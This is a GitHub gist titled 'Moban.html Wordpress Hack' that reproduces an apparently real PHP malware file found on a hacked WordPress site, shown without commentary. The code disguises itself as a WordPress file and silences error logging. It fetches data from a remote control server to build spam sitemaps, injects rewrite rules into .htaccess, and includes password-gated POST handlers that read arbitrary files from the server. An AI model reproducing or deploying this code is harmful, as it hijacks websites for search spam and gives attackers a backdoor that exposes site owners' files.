Created
April 8, 2020 19:29
-
-
Save dahifi/3c41d5625b4e11afba89d80f3a9b8837 to your computer and use it in GitHub Desktop.
Moban.html Wordpress Hack
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* academy column devise drift evil gear holy liberal nucleus opportunity oxygen radical religion removal scandal seminar shiver simplicity substitute suspicious tend the usage victim yield. | |
* auxiliary dusk garbage giant illusion marine pants particle sensible variation vocabulary withdraw. | |
* agent bacteria calendar catalog expend extinct infant integrate marveous mist territory. | |
* acquire applause breed deposit exceed export geography jail moist naked nonsense obstacle pat priority sake shrink significance spray spur vacuum weave. | |
* abuse alter aspect auxiliary conservation data expend extent exterior hestiate holy impose jungle magnet nuisance profitable reinforce relevant retail ruin scratch simplify suspicion vehicle. | |
* appropriate casual data deposit emotion gaze hatred launch navigation oblige orchestra parade parallel release tension theme. | |
* applicant boundary emotion emphasize geometry golf interpretation knot marine moisture nuisance opponent petroleum provision secure strategy suspicion undergraduate. | |
* catalog expansion previous prominent respond twist utilify vehicle weed. | |
* absolute attach dusk encounter inferior radical vague. | |
* adjust continual debt display ferfile lest liquor loosen neutral radiation remarkable software talent urgent vain vary vocabulary. | |
* decline devise dive entry evil highlight identify launch nuclear odd parade participate restrain route suspicious timber undergraduate. | |
* advertise boundary capture evolve expand garbage inhabitant insignificant jealous mission moist prevail render reputation ridiculous solar suburb valley violent. | |
* emotion entertainment episode equation exclaim lean passion reveal temporary torture. | |
* academic adapt arise beforehand blast bundle catalog emotional equivalent personnel shrink treaty volume. | |
* response adequate adhere breadth bundle comedy community continual episode evolve generate likelihood motive prohibit reinforce remarkable repetition scandal stripe substance temporary tide transform. | |
* appropriate arbitrary cargo comparable descend legislation mainland medium relevant render snap tarnest vitally weed. | |
* appetite appreciate expel legislation opportunity. | |
* | |
* @package WordPress | |
*/ | |
@ini_set('display_errors', 0); | |
@ini_set('log_errors', 0); | |
@set_time_limit(3600); | |
define("DOMTXT","/jd1/"); | |
define("GETDATE","http://www.datecenter.com/api/?key="); | |
define("CENTERKEY",0); | |
define("MYDIR", "/amabestde20200401-30/"); | |
define("FNUM",95); | |
define("JGNUM","40"); | |
define("LINKNUM","8"); | |
define("BZSITE","u"); | |
define("BZPRO","m"); | |
define("BZCAT","j"); | |
//msbg | |
define("JDT","0"); | |
//msend | |
//msidbg | |
define("MSID",3544); | |
//mssidend | |
//keyjgbg | |
define("KEYJG",99); | |
//keyjgend | |
//randnumIbg | |
define("RANDNUMI",2); | |
//randnumIend | |
//randnumIIbg | |
define("RANDNUMII",12); | |
//randnumIIend | |
//pnamelenbg | |
define("PNAMELEN",52); | |
//pnamelenend | |
//jthouzuibg | |
define("JTHZ","/"); | |
//jthouzuiend | |
// #llqllq#arr_nametimebg | |
$arrnametime[]="3"; | |
$arrnametime[]="2"; | |
$arrnametime[]="1"; | |
$arrnametime[]="4"; | |
// #llqllq#arr_nametimeend | |
// #llqllq#arr_wordbg | |
$arr_word[0][] ="4";$arr_word[0][] ="2";$arr_word[0][] ="2";$arr_word[0][] ="4";$arr_word[0][] ="3";$arr_word[0][] ="3";$arr_word[0][] ="4";$arr_word[0][] ="3";$arr_word[0][] ="3";$arr_word[0][] ="2";$arr_word[1][] ="3";$arr_word[1][] ="3";$arr_word[1][] ="3";$arr_word[1][] ="4";$arr_word[1][] ="2";$arr_word[1][] ="2";$arr_word[1][] ="3";$arr_word[1][] ="4";$arr_word[1][] ="2";$arr_word[1][] ="4";$arr_word[2][] ="4";$arr_word[2][] ="2";$arr_word[2][] ="3";$arr_word[2][] ="3";$arr_word[2][] ="4";$arr_word[2][] ="2";$arr_word[2][] ="2";$arr_word[2][] ="3";$arr_word[2][] ="3";$arr_word[2][] ="4";$arr_word[3][] ="4";$arr_word[3][] ="3";$arr_word[3][] ="4";$arr_word[3][] ="3";$arr_word[3][] ="2";$arr_word[3][] ="3";$arr_word[3][] ="2";$arr_word[3][] ="4";$arr_word[3][] ="3";$arr_word[3][] ="2";$arr_word[4][] ="2";$arr_word[4][] ="4";$arr_word[4][] ="3";$arr_word[4][] ="3";$arr_word[4][] ="3";$arr_word[4][] ="2";$arr_word[4][] ="4";$arr_word[4][] ="4";$arr_word[4][] ="3";$arr_word[4][] ="2";$arr_word[5][] ="3";$arr_word[5][] ="3";$arr_word[5][] ="2";$arr_word[5][] ="4";$arr_word[5][] ="4";$arr_word[5][] ="2";$arr_word[5][] ="4";$arr_word[5][] ="2";$arr_word[5][] ="3";$arr_word[5][] ="3";$arr_word[6][] ="3";$arr_word[6][] ="4";$arr_word[6][] ="2";$arr_word[6][] ="3";$arr_word[6][] ="2";$arr_word[6][] ="4";$arr_word[6][] ="3";$arr_word[6][] ="2";$arr_word[6][] ="3";$arr_word[6][] ="4";$arr_word[7][] ="4";$arr_word[7][] ="2";$arr_word[7][] ="4";$arr_word[7][] ="2";$arr_word[7][] ="2";$arr_word[7][] ="3";$arr_word[7][] ="3";$arr_word[7][] ="3";$arr_word[7][] ="3";$arr_word[7][] ="4";$arr_word[8][] ="4";$arr_word[8][] ="2";$arr_word[8][] ="4";$arr_word[8][] ="3";$arr_word[8][] ="3";$arr_word[8][] ="2";$arr_word[8][] ="2";$arr_word[8][] ="3";$arr_word[8][] ="4";$arr_word[8][] ="3";$arr_word[9][] ="4";$arr_word[9][] ="4";$arr_word[9][] ="2";$arr_word[9][] ="3";$arr_word[9][] ="3";$arr_word[9][] ="3";$arr_word[9][] ="3";$arr_word[9][] ="2";$arr_word[9][] ="4";$arr_word[9][] ="2";$arr_word[10][] ="2";$arr_word[10][] ="4";$arr_word[10][] ="3";$arr_word[10][] ="2";$arr_word[10][] ="4";$arr_word[10][] ="2";$arr_word[10][] ="3";$arr_word[10][] ="3";$arr_word[10][] ="3";$arr_word[10][] ="4";$arr_word[11][] ="4";$arr_word[11][] ="3";$arr_word[11][] ="3";$arr_word[11][] ="2";$arr_word[11][] ="3";$arr_word[11][] ="2";$arr_word[11][] ="4";$arr_word[11][] ="2";$arr_word[11][] ="4";$arr_word[11][] ="3"; | |
// #llqllq#arr_wordend | |
$arrKeywz[]="6"; | |
$arrKeywz[]="4"; | |
$arrKeywz[]="8"; | |
$arrKeywz[]="9"; | |
$arrKeywz[]="10"; | |
$arrKeywz[]="12"; | |
$arrKeywz[]="11"; | |
$arrKeywz[]="5"; | |
$arrKeywz[]="7"; | |
// #llqllq#arrBreadbg | |
$arrBread[]="v-breadcrumb"; | |
$arrBread[]="crumbs-nag"; | |
$arrBread[]="Breadcrumb-Heads"; | |
$arrBread[]="breadHeads clearfix"; | |
$arrBread[]="BreadcrumbTop row"; | |
$arrBread[]="crumbsTops"; | |
$arrBread[]="breadHeads row"; | |
$arrBread[]="breadtops row"; | |
$arrBread[]=""; | |
$arrBread[]="crumbs"; | |
$arrBread[]="BreadcrumbNavigation"; | |
$arrBread[]="crumbsHead row"; | |
$arrBread[]="BreadcrumbTops row"; | |
$arrBread[]="BreadcrumbTop clearfix"; | |
$arrBread[]=""; | |
$arrBread[]="Breadcrumb-Head"; | |
$arrBread[]="crumbs clearfix"; | |
$arrBread[]="BreadcrumbHeads clearfix"; | |
$arrBread[]="BreadcrumbTops clearfix"; | |
$arrBread[]="crumbs-head clearfix"; | |
$arrBread[]="breadtop row"; | |
$arrBread[]="Breadcrumb"; | |
$arrBread[]="breadcrumb clearfix"; | |
$arrBread[]="crumbs-head row"; | |
$arrBread[]="breadHead clearfix"; | |
$arrBread[]="l-breadcrumb row"; | |
$arrBread[]="crumbsHeads"; | |
$arrBread[]="crumbs-nag clearfix"; | |
$arrBread[]="navBreadCrumb clearfix"; | |
$arrBread[]="breadLists"; | |
$arrBread[]="BreadcrumbTops"; | |
$arrBread[]="cs-breadcrumb"; | |
$arrBread[]="crumbsTop row"; | |
$arrBread[]="page-breadcrumbs clearfix"; | |
$arrBread[]="crumbsTops row"; | |
$arrBread[]="chrome-breadcrumbs"; | |
$arrBread[]="l-breadcrumb clearfix"; | |
$arrBread[]=""; | |
$arrBread[]="BreadcrumbLists clearfix"; | |
$arrBread[]="bread-List row"; | |
$arrBread[]="cs-breadcrumb row"; | |
$arrBread[]="Breadcrumb-Top clearfix"; | |
$arrBread[]="Breadcrumb-Top"; | |
$arrBread[]="c-breadcrumb"; | |
$arrBread[]="breadtops clearfix"; | |
$arrBread[]="crumbs-top clearfix"; | |
$arrBread[]="chrome-breadcrumbs row"; | |
$arrBread[]="page-breadcrumbs row"; | |
$arrBread[]=""; | |
$arrBread[]="s-breadcrumb"; | |
$arrBread[]="crumbList clearfix"; | |
$arrBread[]="crumbs-head"; | |
$arrBread[]="Breadcrumb clearfix"; | |
$arrBread[]="breadtop"; | |
$arrBread[]="el-breadcrumb row"; | |
$arrBread[]="crumbsTop"; | |
$arrBread[]="breadList"; | |
$arrBread[]="Bread"; | |
$arrBread[]="crumbs-top"; | |
$arrBread[]="Breadcrumb-Heads clearfix"; | |
$arrBread[]="Breadcrumb-Head row"; | |
$arrBread[]="breadList clearfix"; | |
$arrBread[]="breadcrumb row"; | |
$arrBread[]="BreadcrumbTop"; | |
$arrBread[]="navBreadCrumb row"; | |
$arrBread[]="cs-breadcrumb clearfix"; | |
$arrBread[]="ant-breadcrumb clearfix"; | |
$arrBread[]=""; | |
$arrBread[]="bread-List"; | |
$arrBread[]="crumb-list clearfix"; | |
$arrBread[]="crumbsHeads clearfix"; | |
$arrBread[]="navBreadCrumbs"; | |
$arrBread[]="v-breadcrumb clearfix"; | |
$arrBread[]="l-breadcrumb"; | |
$arrBread[]="doc-crumb row"; | |
$arrBread[]="BreadcrumbLists row"; | |
$arrBread[]="navBreadCrumb"; | |
$arrBread[]="customBreadcrumb"; | |
$arrBread[]="s-breadcrumb row"; | |
$arrBread[]="bread-List clearfix"; | |
$arrBread[]="ant-breadcrumb row"; | |
$arrBread[]="customBreadcrumb row"; | |
$arrBread[]="BreadHead"; | |
$arrBread[]="breadtop clearfix"; | |
$arrBread[]="page-breadcrumbs"; | |
$arrBread[]="crumbs-nag row"; | |
$arrBread[]="s-breadcrumb clearfix"; | |
$arrBread[]="Breadcrumb-Heads row"; | |
$arrBread[]=""; | |
$arrBread[]="crumbList row"; | |
$arrBread[]="Bread clearfix"; | |
$arrBread[]="v-breadcrumb row"; | |
$arrBread[]="BreadHead clearfix"; | |
$arrBread[]=""; | |
$arrBread[]="Bread row"; | |
$arrBread[]="BreadcrumbNavigation row"; | |
$arrBread[]=""; | |
$arrBread[]="breadLists row"; | |
$arrBread[]="crumbsHead clearfix"; | |
$arrBread[]="breadList row"; | |
$arrBread[]="crumbsHead"; | |
$arrBread[]="c-breadcrumb clearfix"; | |
$arrBread[]="c-breadcrumb row"; | |
$arrBread[]=""; | |
$arrBread[]=""; | |
$arrBread[]="Breadcrumb-Head clearfix"; | |
$arrBread[]="crumbsTops clearfix"; | |
$arrBread[]="ant-breadcrumb"; | |
$arrBread[]="chrome-breadcrumbs clearfix"; | |
$arrBread[]="breadHead"; | |
$arrBread[]="crumbs-top row"; | |
$arrBread[]="crumb-list row"; | |
$arrBread[]="el-breadcrumb"; | |
$arrBread[]="breadHeads"; | |
$arrBread[]="pages-breadcrumbs row"; | |
$arrBread[]="breadcrumb"; | |
$arrBread[]="navBreadCrumbs row"; | |
$arrBread[]=""; | |
$arrBread[]="doc-crumb"; | |
$arrBread[]="BreadcrumbNavigation clearfix"; | |
$arrBread[]="el-breadcrumb clearfix"; | |
$arrBread[]="BreadcrumbLists"; | |
$arrBread[]="pages-breadcrumbs clearfix"; | |
$arrBread[]="crumb-list"; | |
$arrBread[]="breadHead row"; | |
$arrBread[]="doc-crumb clearfix"; | |
$arrBread[]="BreadcrumbHeads"; | |
$arrBread[]="crumbsTop clearfix"; | |
$arrBread[]="BreadcrumbHeads row"; | |
$arrBread[]="crumbList"; | |
$arrBread[]="BreadHead row"; | |
$arrBread[]="navBreadCrumbs clearfix"; | |
$arrBread[]="customBreadcrumb clearfix"; | |
$arrBread[]="pages-breadcrumbs"; | |
$arrBread[]="crumbsHeads row"; | |
$arrBread[]="crumbs row"; | |
$arrBread[]="Breadcrumb row"; | |
$arrBread[]="Breadcrumb-Top row"; | |
$arrBread[]="breadLists clearfix"; | |
$arrBread[]="breadtops"; | |
// #llqllq#arrBreadend | |
// #llqllq#arr_fuhao | |
$arrfh[]="Top Christmas gifts 2018"; | |
$arrfh[]="for Christmas"; | |
$arrfh[]="Christmas gift shop"; | |
$arrfh[]="Christmas gift"; | |
$arrfh[]="Christmas Supplies"; | |
$arrfh[]="Holiday presents"; | |
$arrfh[]="Christmas Decoration"; | |
$arrfh[]="Xmas Ornaments"; | |
$arrfh[]="Christmas gift store"; | |
$arrfh[]="Christmas gift ideas 2018"; | |
$arrfh[]="Holiday Gifts"; | |
$arrfh[]="Christmas gift ideas"; | |
$arrfh[]="Xmas"; | |
$arrfh[]="best Christmas gift"; | |
$arrfh[]="Christmas Holiday"; | |
$arrfh[]="Best Christmas gifts 2018"; | |
$arrfh[]="Christmas Gifts 2018"; | |
$arrfh[]="Christmas presents"; | |
$arrfh[]="Christmas Ornament"; | |
$arrfh[]="Unique Christmas Gifts"; | |
// #llqllq#arr_fuhaoend | |
$q1 = "O00O0O"; $q2 = "O0O000"; $q3 = "O0OO00"; $q4 = "OO0O00"; $q5 = "OO0000"; $q6 = "O00OO0"; $q7 = "O00O00"; $q8 = "O00OOO"; $$q1 = RandAbcs(); | |
// #llqllq#randkeybg | |
$strRand[0]="cqiuydntamkfpljxwrhsogebvz"; | |
$strRand[1]="cvdftwgrjheuynslqpkmxioabz"; | |
$strRand[2]="fvaydtbhqnecjgmlwkzxpiusro"; | |
$strRand[3]="edtszhmlpkgyqcvixowajfrubn"; | |
$strRand[4]="hofuzkntdgmlbexsyjpcarwvqi"; | |
$strRand[5]="bhkslzvuejqyxwimgodacpntfr"; | |
$strRand[6]="rjfamdknltiwcyhozgxbsqevup"; | |
$strRand[7]="jnywivfehtqxobzpracsklmudg"; | |
$strRand[8]="ckwjaondbiuytvlpmrhzxgsqef"; | |
$strRand[9]="yklauejtrzpmogsnibdfvcwhxq"; | |
$strRand[10]="ezqbugivtoflhjpkrncxmwsday"; | |
$strRand[11]="xajywpqurkbhzsicemovglntfd"; | |
$strRand[12]="mntwrfsqjvzkigxdhcylpbouae"; | |
$strRand[13]="pwsbhzynkdmxuacftroivegjql"; | |
$strRand[14]="sjtyenlvacpkwfrbhguzqidmox"; | |
$strRand[15]="hwbmjrnuqafgvydesxoicpkztl"; | |
$strRand[16]="dwzxoglqfpajbvmcutiykhrens"; | |
$strRand[17]="zcsamiewdrjkbpfthyvlxoqgnu"; | |
$strRand[18]="xcpnmwsvaoifrdeqklhgbzjuty"; | |
$strRand[19]="dbfwonlezvsyjctkigrauxhqmp"; | |
$strRand[20]="fxbtdjlpuresnqkhivmowczyga"; | |
$strRand[21]="amhqlukgnzwrdfbypxoctiesjv"; | |
$strRand[22]="fphwskryqmtxagiludcnzjvboe"; | |
$strRand[23]="pqcgmbkwzaxnviefldjosruyht"; | |
$strRand[24]="zcrhgkvwunpetasxidyqfbmloj"; | |
$strRand[25]="efjlbogknxayhspzuqdvwirctm"; | |
$strRand[26]="bcrnqdyevimspfalkwxojzhgtu"; | |
$strRand[27]="pwvbzitsgndralkjoqcumyfxeh"; | |
$strRand[28]="rsmtbcedwknpxlyajghqozifvu"; | |
$strRand[29]="sjoyliwephvfdnbugrkmqtczxa"; | |
$strRand[30]="klnaxswfcgjqipemhboyurvtzd"; | |
$strRand[31]="eozfylrbxcpvwdumthasgjniqk"; | |
$strRand[32]="angxeqksfthucpmbzryilwovdj"; | |
$strRand[33]="aktfxrsndhvluegiqycmpwzobj"; | |
$strRand[34]="akjpigzvcwsrhfynloqxmtbdeu"; | |
$strRand[35]="ohawyldtsugpxbirzcvenkjmqf"; | |
$strRand[36]="qktshrfxaiebowmnpjvuglycdz"; | |
$strRand[37]="yhfrvpsdqwnoluiexmzkcjbgat"; | |
$strRand[38]="xofnjzketurcydqiwmlhgasvpb"; | |
$strRand[39]="ibrdpxktsuqcmafyzwelhngvoj"; | |
$strRand[40]="egyxznfadjhklcsrquvtmwpoib"; | |
$strRand[41]="nvtixcoybmpqswgjaukerhfdlz"; | |
$strRand[42]="lyxcuneqimvohpfdakwzgstjbr"; | |
$strRand[43]="lduyrmwxfqgzkbitjvcpsnehao"; | |
$strRand[44]="hvpukasijxymdbfrgzntcqelow"; | |
$strRand[45]="nrzgwpjdvusfikbqehmlctyoax"; | |
$strRand[46]="btjhupyfglmwoecndzaxvsriqk"; | |
$strRand[47]="rzdpugxmvfylkbhsejqwiotacn"; | |
$strRand[48]="sflnkxpqbajetvryimhdouczwg"; | |
$strRand[49]="nurpwfjvykeaidcqbhzxtslgom"; | |
$strRand[50]="eclouasdxwfzbyihnvprtqgkmj"; | |
$strRand[51]="ujxszwkhqaldtcbroyvpmefgni"; | |
$strRand[52]="hbwmrnuieydsxapjotcvlkfgqz"; | |
$strRand[53]="ewaglvxrmkfcihqyszjotpnudb"; | |
$strRand[54]="ayztvhkjxsefbgorqunpmdiclw"; | |
$strRand[55]="xsuycabkjrtnomzphgdvwqilfe"; | |
$strRand[56]="fygcsxzoprhbtwdnlmqievukja"; | |
$strRand[57]="gpvzuciofjernbqtlawyhmdskx"; | |
$strRand[58]="tymwilxhezsobgpnjrufavqcdk"; | |
$strRand[59]="vdmshywnilojprtcxqagbukefz"; | |
$strRand[60]="oikrtzmshqxvpuegbanywfcdjl"; | |
$strRand[61]="zcmpskaujirbvlxotyfqewghnd"; | |
$strRand[62]="syxenjvgokhzmlbduwptqrcfia"; | |
$strRand[63]="torclafigupendzvjkxmbsqhwy"; | |
$strRand[64]="kbomzipcsexuvatwjlfrhgdyqn"; | |
$strRand[65]="qphgzdnbuxyoirwcjftvlamkes"; | |
$strRand[66]="hxneucrvypmjsztkfbwalidqog"; | |
$strRand[67]="clwbfatmdseynvpzuqgiorhkjx"; | |
$strRand[68]="bjeytwcfzvhrsoxailkqdngump"; | |
$strRand[69]="ydlakgzrmhoiecpxsnutwvqfjb"; | |
$strRand[70]="ihaecslvtmjkgnwfrpzdqyxuob"; | |
$strRand[71]="wepbgrnmodsychzvfqlijtkxau"; | |
$strRand[72]="eambgrpwfsjlqhxvcukydotinz"; | |
$strRand[73]="cpelxdjuvhfqwsogmyarikztbn"; | |
$strRand[74]="ehtwkyguzlcvaidonfpqmrbjxs"; | |
$strRand[75]="tazowqpyifdumhsrxjekglcvnb"; | |
$strRand[76]="ykrlwhnujzfqtaiogbdevsmxpc"; | |
$strRand[77]="sknjdxvtauofwlyrgbiqpczhme"; | |
$strRand[78]="bwqjmxucyvgtifkehpozdrasnl"; | |
$strRand[79]="jbzlasvdchekmpigxuqytfronw"; | |
$strRand[80]="gfscajlwnuxtmyohvezrdqbkip"; | |
$strRand[81]="hrvxnitgwdjlfmqakyszcueobp"; | |
$strRand[82]="gnelpjamhdysvtfkbcwrqzixou"; | |
$strRand[83]="gaoryvuwqketxjhnlpmdszcfib"; | |
$strRand[84]="xyqdrufnozkhatljpgsviwmebc"; | |
$strRand[85]="jhdkwgclqfsnarptexbyuzmivo"; | |
$strRand[86]="ytiuawcomfdgenrhzjkbvqlpxs"; | |
$strRand[87]="bxkhpvowcuisjtqydgamznlref"; | |
$strRand[88]="irufphnscxzejdwbaygmltkovq"; | |
$strRand[89]="oafpsrdbgtvuzjcxyqhkmneliw"; | |
$strRand[90]="mhgvxjdnctkelfoaryqswbuzip"; | |
$strRand[91]="tfjmkgohvdupncqiwlyraexzsb"; | |
$strRand[92]="jgqncmwbfylavhproudisxzkte"; | |
$strRand[93]="zhqenoipjdvmcbfyurktsxglaw"; | |
$strRand[94]="hjpsxyarqtznmgcewvfikdbulo"; | |
$strRand[95]="tszuyjpriwxfkdovecmlhqbagn"; | |
$strRand[96]="ngiqvzjlxeapwytmrobuscfhkd"; | |
$strRand[97]="qfplwtcijnsyhekobxgumzrdva"; | |
$strRand[98]="yhsflvxzmrukbetcogwjdpanqi"; | |
$strRand[99]="kewojfmdtiuqbcvnshpzyxlarg"; | |
// #llqllq#randkeyend | |
$thisdom = str_replace("www.","",$_SERVER['HTTP_HOST']); | |
define("GETDOM",getthisdom()); | |
// | |
$arrArrr = array();$j = 0;for($i=0;$i<20;$i+=2){ | |
$arrArrr[$j++] = $strRand{$i}.$strRand{$i+1};} | |
$Arrrarr = array_flip($arrArrr); | |
$stss = 'transferdm'; | |
$stss2 = 'deliverym'; | |
if(isset($_GET["gsitemap"]) && isset($_GET["mapnum"])){ | |
$O_OO0_0O_0='America/Chicago'; @date_default_timezone_set($O_OO0_0O_0); | |
if (! is_dir("../webstruct")) | |
mkdir("../webstruct", 0755); | |
global $gnumber; | |
$gnumber = 1; | |
$bgNum = (int)trim($_GET["gsitemap"]); | |
$mapnum = (int)trim($_GET["mapnum"]); | |
if($bgNum > FNUM) | |
die("The Number Must Lower Then " . FNUM); | |
$arrNumTemp = getMapNum($bgNum,$mapnum); | |
$rs = '#<map>(.*)</map>#si'; | |
$mapLogs = file_get_contents("./map.log"); | |
foreach($arrNumTemp as $vss){ | |
$vals = "id$vss.php"; | |
if(strstr($mapLogs,'#web' . $arrABC[$gnumber-1] . 'struct' .'.xml#') && file_exists('../webstruct/web' . $arrABC[$gnumber-1] . 'struct' .'.xml')){ | |
echo $vals."<br/>"; | |
echo '../webstruct/web' . $arrABC[$gnumber-1] . 'struct' .'.xml successed<br/>'; | |
$gnumber++; | |
continue; | |
} | |
for($i=0; $i<3; $i++){ | |
$idUrl = GETDOM . "gpage.php?getmapid=$vss&site=$thisdom&sid=".MSID; | |
$tempIdStr = curl_get_from_webpage($idUrl,'',5); | |
$arrIdNameNow = array(); | |
if(preg_match($rs,$tempIdStr,$matchIdName)){ | |
$tparrIdName = explode('^^',$matchIdName[1]); | |
foreach($tparrIdName as $vs){ | |
$tpArr = explode('^',$vs); | |
if(count($tpArr) == 2){ | |
$arrIdNameNow[$tpArr[0]] = $tpArr[1]; | |
}elseif(count($tpArr) > 2){ | |
$tpstr = ''; | |
for($j=1; $j<count($tpArr); $j++){ | |
$tpstr .= $tpArr[$j] . ' '; | |
} | |
$tpstr = trim($tpstr); | |
$arrIdNameNow[$tpArr[0]] = $tpstr; | |
} | |
} | |
break; | |
} | |
} | |
if(!isset($arrIdNameNow) or count($arrIdNameNow) < 100){ | |
echo "g sitemap fail<br/>"; | |
die(); | |
} | |
echo $vals."<br/>"; | |
if($gnumber == 1){ | |
if(JDT == 1){ | |
gsitemap($arrIdNameNow,2,1); }else{ | |
gsitemap($arrIdNameNow,1,2); } | |
}else{ | |
if(JDT == 1){ | |
gsitemap2($arrIdNameNow,2,1); }else{ | |
gsitemap2($arrIdNameNow,1,2); } | |
} | |
unset($arrIdNameNow,$tempArr1,$tempArr2); } | |
} | |
if(isset($_GET["ghtac"]) && $_GET["ghtac"]){ | |
$dirNames = dirname(__FILE__); | |
$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames))); | |
$PreDir = ''; | |
if(JDT == 1){ | |
$UrlBaseDir = $httcReplace; $RewriteOnDir = ''; | |
}else{ | |
$UrlBaseDir = ''; $PreDir = '../'; $RewriteOnDir = $httcReplace . '/'; | |
} | |
$strhtt = ''; | |
if (file_exists("$PreDir.htaccess")){ | |
@chmod("$PreDir.htaccess",0755); | |
$strhtt = file_get_contents("$PreDir.htaccess"); | |
} | |
if(!(strstr($strhtt,'RewriteBase') || strstr($strhtt,'RewriteRule'))) | |
{ | |
$strhtt = '<IfModule mod_rewrite.c>'.PHP_EOL . 'Options +FollowSymLinks'. PHP_EOL .'RewriteEngine on'. PHP_EOL .'RewriteBase /'. $UrlBaseDir . PHP_EOL .'</IfModule>'; | |
}else{ | |
$strhtt = str_ireplace('# RewriteBase ','RewriteBase ',$strhtt); | |
$strhtt = str_ireplace('#RewriteBase ','RewriteBase ',$strhtt); | |
} | |
if(1){ | |
$r0 = '#(.*RewriteEngine On.*)#i'; | |
$r1 = '#(.*RewriteBase.*)#i'; $r2 = '#RewriteRule#i'; | |
if(JDT == 0){ | |
$rsut = '\1'.PHP_EOL .'RewriteRule ^'. '(\d+)/.*'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'.PHP_EOL .'RewriteRule ^'. '.*-'. BZPRO .'(\d+)-.*'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^'. BZCAT .'-(.*)' . JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL ; | |
$rsut2 = PHP_EOL .'RewriteRule ^'. '(\d+)/.*'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'.PHP_EOL .'RewriteRule ^'. '.*-'. BZPRO .'(\d+)-.*'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^'. BZCAT .'-(.*)' . JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL .'RewriteRule' ; | |
}else{ | |
$rsut = '\1'.PHP_EOL .'RewriteRule ^'. '(\d+)/.*'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'.PHP_EOL .'RewriteRule ^'. '.*-'. BZPRO .'(\d+)-.*'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^'. BZCAT .'-(.*)' . JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL ; | |
$rsut2 = PHP_EOL .'RewriteRule ^'. '(\d+)/.*'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'.PHP_EOL .'RewriteRule ^'. '.*-'. BZPRO .'(\d+)-.*'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^'. BZCAT .'-(.*)' . JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL .'RewriteRule' ; | |
} | |
if(preg_match($r0,$strhtt)){ | |
$strhtt = preg_replace($r0,$rsut,$strhtt,1); | |
}elseif(preg_match($r1,$strhtt)){ | |
$strhtt = preg_replace($r1,$rsut,$strhtt,1); | |
}else{ | |
$strhtt = preg_replace($r2,$rsut2,$strhtt,1); | |
} | |
if(JDT == 1 or JDT == 0){ | |
file_put_contents("$PreDir.htaccess", $strhtt); | |
} | |
} | |
die("ghtac ok"); | |
} | |
if(isset($_POST["chdate"]) && md5($_POST["chdate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["redate_file"])){$redate_file = $_POST["redate_file"];if(file_exists($redate_file)){echo '#ok#';}else{echo '#nofile#';}die();}if(isset($_POST["redate"]) && md5($_POST["redate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["redate_file"])){$redate_file = $_POST["redate_file"];if(file_exists($redate_file)){echo rFile($redate_file);die();}else{echo '#nofile#';die();}}if(isset($_POST["test"]) && md5($_POST["test"])=='b6772c68627f804a9578152ee90f5b0c'){echo '#ok#'; die();}if((isset($_POST["lan"]) && $_POST["lan"] == 1) or (isset($_GET["lan"]) && $_GET["lan"] == 1)){$fileArr = array();$flag = 1;$fileArr['index'] = filesize(__FILE__);if(file_exists("./moban.html")){$fileArr['moban'] = filesize("./moban.html");}else{$flag = 0;$fileArr['moban'] = -1;}echo 'error---'. serialize($fileArr) .'---';die();}if(isset($_GET["gsitemap"]) || isset($_GET["rset"]) || isset($_GET["hzui"]) || isset($_GET["jgshu"]) || isset($_GET["ljshu"]) || isset($_GET["modifydate"]) || isset($_GET["moshi"]) || isset($_GET["install"])){die();} | |
if(JDT==2){ | |
$UrlParent=end((explode('index.php',$_SERVER['REQUEST_URI']))); if($UrlParent){ | |
$tempSid = ''; $tempPid = ''; | |
$r2='#-(\d+)'. JTHZ .'$#i'; $r3='#[-/]' .'(\d+)[-/]$#i'; | |
if(preg_match($r2,$UrlParent,$matches2)){ | |
if(isset($matches2[1])) | |
$tempPid = $matches2[1]; }else{ | |
preg_match($r3,$UrlParent,$matches13); if(isset($matches13[1])) | |
$tempPid = $matches13[1]; } | |
if($tempPid){ | |
$_GET['id']= $tempPid; | |
} | |
} | |
}elseif(JDT==3&&isset($_GET['keyword'])&&$_GET['keyword']){ | |
$tempSid = ''; $tempPid = ''; $UrlParent = $_GET['keyword']; | |
$r2='#-(\d+)$#i'; $r3='#[-/]'.'(\d+)$#i'; | |
if(preg_match($r2,$UrlParent,$matches2)){ | |
if(isset($matches2[1])) | |
$tempPid = $matches2[1]; }else{ | |
preg_match($r3,$UrlParent,$matches13); if(isset($matches13[1])) | |
$tempPid = $matches13[1]; } | |
if($tempPid){ | |
$_GET['id']= $tempPid; | |
} | |
} | |
function getRandStr(){ | |
$arrABC = range('a','z'); shuffle($arrABC); | |
$randNum = rand(4,6); | |
$str = implode('',array_slice($arrABC,0,$randNum)); | |
return $str;} | |
if(isset($_GET["id"])) | |
$id = $_GET["id"]; | |
else{ | |
if(isset($_GET["cat"])){ | |
$rqurl = $_GET["cat"]; | |
$logFileName = './idlogs.txt'; | |
if(file_exists($logFileName)){ | |
$arrUrlId = unserialize(file_get_contents($logFileName)); | |
}else{ | |
$arrUrlId = array(); | |
} | |
